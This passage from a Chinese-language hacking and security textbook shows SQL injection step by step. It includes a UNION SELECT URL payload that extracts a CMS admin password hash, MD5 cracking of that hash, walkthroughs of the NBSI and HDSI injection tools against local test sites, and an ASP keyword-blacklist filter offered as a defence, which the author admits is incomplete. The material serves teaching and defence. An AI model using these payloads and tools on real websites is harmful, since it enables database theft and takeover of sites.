其中顯示的管理員的用戶名是“admin”。如果要查看管理員密碼,只要把字段名改為密碼字段名。構造的URL 地址是http://127.0.0.1/powereasy/Region.asp?province=a' Union Select Password From PE_Admin where 'a'='a。如圖1-30所示,可以看到密碼是469e80d32c0559f8。

圖1-30 管理員密碼
這是加密過的密碼,在管理員登錄時頁面加密用戶提交的密碼后與數據庫中的密碼比較。
動易使用的是 MD5加密方式,所以應該用一個 MD5解密器來解密。這里推薦使用MD5 Crack,它是一款國產的多線程MD5解密器,解密速度很快。
打開如圖1-31所示的MD5 Crack對話框,粘貼“469e80d32c0559f8”“破解單個密文”到文本框中,在“字符設置”選項組中選擇可能用到的字符,也可以在“自定義”文本框中定義。因為一般情況下,用戶密碼不會有標點符號或特殊符號,所以為了節省時間,只選擇“數字”、“大寫字母”和“小寫字母”復選框,還可以設置密碼可能的長度和破解密碼的線程數,線程數越大,破解速度越快。如果超出機器的承受能力,多線程反而會拖慢破解速度。

圖1-31 MD5 Crack對話框
單擊“開始”按鈕,經過一段時間的等待后,破解的密碼顯示在右下角的文本框中,即admin888。嘗試使用這個密碼登錄后臺,如圖1-32所示。

圖1-32 登錄后臺
登錄成功,說明破解密碼成功,如圖1-33所示。

圖1-33 登錄成功
至此,已經獲得超級管理員的權限。入侵者可以刪除網站的數據,也可以在網站發布任何信息,包括誘使網站的瀏覽者進入插入了木馬的網頁,其危害非常大。
1.1.8 常見的SQL注入漏洞檢測工具
本節介紹一些常見的注入工具,利用它們可以減少猜解數據所花的時間和精力。
(1)NBSI
NBSI是NB聯盟的小竹編寫的一款SQL自動注入工具,其功能非常強大。可以掃描注入點、自動猜解數據內容、分析IIS日志,并自定義關鍵字字典。其界面如圖1-34所示。

圖1-34 NBSI界面
把漏洞地址http://127.0.0.1/veryzone/announce.asp? id=16輸入到 “注入地址”下拉列表框中,然后單擊“檢測”按鈕。沒有檢測到漏洞,“檢測”按鈕的標題變為“再檢測”。這是因為漏洞頁面在附加條件不成立時沒有內容,所以 NBSI 不能自動判斷結果。在“特征字符”文本框中輸入在條件成立時的頁面中,條件不成立時沒有的字符串,程序可以通過返回的頁面有無“特征字符”來判斷檢測結果,如圖1-35所示。

圖1-35 檢測結果
如圖1-36所示,在“特征字符”文本框中輸入hero字符串,單擊“再檢測”按鈕。

圖1-36 特征字符
程序已經確定網頁存在漏洞,這時“檢測”按鈕不可用,下面的“猜解表名”按鈕變為可用。
如圖1-37所示,單擊“猜解表名”按鈕,會提示“數據庫類型為ACCESS,系統將啟用字典進行猜解。如果字典文件比較大,會花費較長的時間,您確認進行猜解?”。

圖1-37 NBSI提示信息
單擊“確定”按鈕,就會看到如圖1-38所示的結果。

圖1-38 結果
稍候,在“已猜解表名”列表框中顯示 Y_admin,這是程序判斷的數據庫中有 admin表。單擊該表名,“猜解列名”按鈕變為可用。單擊該按鈕,程序會猜解admin表中的列名,如圖1-39所示。

圖1-39 猜解admin表中的列名
稍后,“已猜解列名”列表框中顯示Y_id、Y_username和Y_password,說明admin表中有id、username和password這3個字段存在。
選擇字段名復選框,“猜解數據”按鈕變為可用。單擊“猜解數據”按鈕,程序開始猜解這3個字段的數據內容,如圖1-40所示。

圖1-40 猜解字段的數據內容
稍后,在“已猜解記錄”列表框中顯示一條記錄,單擊它會在下面的列表框中顯示詳細的數據內容:
[id]:8 [username]:admin [password]:7a57a5a743894a0e
用戶名是admin,密碼是7a57a5a743894a0e破解該密碼的結果是admin。
(2)HDSI
HDSI 是教主(網絡 ID)開發的一款免費的網頁安全性能檢測工具,其中集成多種功能,是一個SQL注入利器。
該工具可以自動掃描注入點、注入猜解數據內容、掃描網站后臺登錄地址,以及對PHP進行注入。如果漏洞頁面使用SQL Server數據庫,還可以讓服務器執行DOS命令并上傳asp木馬文件。其界面如圖1-41所示。

圖1-41 HDSI界面
進入“注入分析”頁面,在“注入地址”文本框中輸入漏洞地址http://127.0.0.1/veryzone/announce.asp?id=16選擇“使用關鍵字”復選框,在“關鍵字”文本框中輸入“hero”。單擊“開始”按鈕,就開始檢測漏洞。
程序提示檢測完畢,如圖1-42所示。單擊表名下方的“猜解”按鈕,程序提示“啟動ACCESS數據庫猜解,也許要多花點時間,是否繼續猜表?”。單擊“確定”按鈕,程序開始猜解表名。

圖1-42 猜解ACCESS數據庫
稍候,“已猜解表名”列表框中顯示admin表。單擊表名,然后單擊列名下的“猜解”按鈕開始猜解列名。然后猜解數據庫中的記錄,如圖1-43所示。

圖1-43 猜解數據庫中的記錄
類似的工具還有阿D注入工具、CSC、WED及Domain。Domain是一個旁注工具,旁注是注入技術中的一個分支。其入侵的基本思路是網站的服務器一般會有多個網站,如果在目標網站上找不到注入漏洞,可以嘗試入侵同一臺服務器中的其他網站。如果通過其他網站中的漏洞控制服務器,相當于得到了這個網站的控制權。
1.1.9 如何防御SQL注入攻擊
對于一個網站來說,SQL注入漏洞的危害是巨大的。
SQL 通用防注入系統的思路是把提交到頁面的所有數據都過濾一遍, SQL 注入提交的數據的特征是會有 SQL 語句及一些 SQL 語言的關鍵字,比如“AND”、“UNION”及“SELECT”等字符串。只要在數據中有這些字符串,即可判定為SQL注入行為,而不會把這個數據作為SQL語句。
以下是筆者根據這個思路模仿SQL通用防注入系統編寫的代碼:
<% '--------定義部分------------------ Dim FangZhuPost,FangZhuGet,FangZhuIn,FangZhuInf,FangZhuXh '注釋:自定義需要過濾的字串,用 "|" 分隔,如果讀者發現遺漏,可以加上 FangZhuIn = "'|;|and|(|)|exec|insert|select|union|delete|update|count|*|%|chr|mid|master|truncate|char|declare" FangZhuInf=split(FangZhuIn,"|") ’注釋:把非法字符串用“|”分割出來 '--------POST部分------------------ If Request.Form<>"" Then For Each FangZhuPost In Request.Form ’注釋:循環取得提交的參數 For FangZhuXh=0 To Ubound(FangZhuInf) ’注釋:全部轉換成大寫 If Instr(LCase(Request.Form(FangZhuPost)),FangZhuInf(FangZhuXh))<>0 Then ’注釋:如果在數據中有非法字符串
Response.Write "<Script Language=JavaScript>alert('請不要在參數中包含非法字符嘗試注入!');</Script>" Response.End End If Next Next End If '---------------------------------- '--------GET部分------------------- If Request.QueryString<>"" Then For Each FangZhuGet In Request.QueryString For FangZhuXh=0 To Ubound(FangZhuInf) If Instr(LCase(Request.QueryString(FangZhuGet)),FangZhuInf(FangZhuXh))<>0 Then Response.Write "<Script Language=JavaScript>alert('請不要在參數中包含非法字符嘗試注入!');</Script>" Response.End End If Next Next End If %>
把這些代碼保存在一個ASP文件中,比如fang.asp,并放在要防護的頁面文件目錄下。在要防護的頁面開頭加入一句<!-- #include file=“fang.asp” -->,保存并退出。
在瀏覽器中提交http://127.0.0.1/veryzone/announce.asp? id=16 and 1=1,顯示如圖1-44所示的提示框。

圖1-44 提示框
如果參數中沒有非法字符,頁面可以正常顯示,如圖1-45所示。

圖1-45 頁面正常顯示
這樣可以杜絕SQL注入漏洞,不過這不是萬全之策。因為這個代碼是“通殺”的。即用戶確實需要輸入的一些數據會被作為非法字符串處理,這種情況目前還沒有更好的辦法來解決,只能讓用戶輸入其他字符串來代替。